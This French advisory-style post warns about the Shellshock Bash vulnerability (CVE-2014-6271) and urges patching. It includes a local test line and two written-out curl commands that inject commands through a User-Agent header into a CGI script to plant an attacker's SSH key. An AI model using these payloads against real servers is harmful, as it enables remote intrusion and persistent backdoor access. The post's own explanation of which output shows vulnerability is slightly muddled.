Une vulnérabilité très grave CVE-2014-6271 a été publiée le 24/09 par Stéphane Chazelas dans le célèbre shell linux Bash.


La faille bash surnommée Shellshock est dramatiquement plus grave que Heartbleed, il permet d’injecter des commandes systèmes à distance et de prendre un contrôle total des systèmes.

Il faut savoir que Bash est le shell par défaut d’un grand nombre de distributions GNU/Linux, mais pas toutes. Par exemple Ubuntu ne lance pas Bash avec son /bin/sh, mais dash. Bash se retrouve également dans Apple Mac OS X et dans Microsoft Windows via Cygwin.

Avec la faille BASH, n’importe quel hacker de niveau moyen a de très grandes chance de fracturer vos serveurs, pour ne pas dire qu’il est certain de pouvoir le faire.

Si vous administrez des Linux, ou des UNIX, ou des FreeBSD ou n’importe quel système dans lequel est installé BASH, dites-vous bien que vous êtes vulnérables.

Pour vous convaincre, il vous suffit de faire un essai dans votre Bash :

[php]$ env x='() { :;}; echo vulnerable’ bash -c "echo ceci est un teste"
vulnerable
ceci est un teste[/php]

Si vous voyez le message ‘ceci est un teste’ (et vous le verrez…) votre système est vulnérable.

Le problème réside au niveau du langage même utilisé pour exécuter les commandes Bash. Comme dans un véritable langage de programmation, Bash permet de définir des variables. Le problème, c’est qu’il est possible d’insérer aussi des commandes. Il est possible de créer un accès sur votre serveur avec un outil de base, par exemple curl.

Deux lignes saisies dans le shell d’un autre Linux et c’est réglé: la première ligne :

curl -k -H ‘User-Agent: () { :;}; /bin/mkdir /var/www/.ssh’ http://votre-domaine/cgi-bin/un-script.sh

Ce code va créer un répertoire .ssh sur la machine attaquée. L’attaque réussira pour peu qu’il y ait un script Shell dans le répertoire cgi-bin du serveur ou bien simplement un binaire qui invoque un script.

Donc comme la faille est là, le hacker n’a qu’à envoyer la deuxième ligne :

curl -k -H ‘User-Agent: () { :;}; echo « ssh-rsa AAA[…] » >/var/www/.ssh/authorized_keys’ http://votre-domainet/cgi-bin/un-script.sh

Par cette ligne ravageuse, l’attaquant uploade sa clé RSA publique sur votre machine : il peut désormais se connecter à volonté. Il n’a plus qu’à uploader un rootkit et obtenir ainsi un accès root.

Les distributions Red Hat, Fedora, CentOS, Debian et Ubuntu proposent déjà des patches. Les autres distributions ne tarderont sans doute pas. Mettez et maintenez vos systèmes à jour de toute urgence !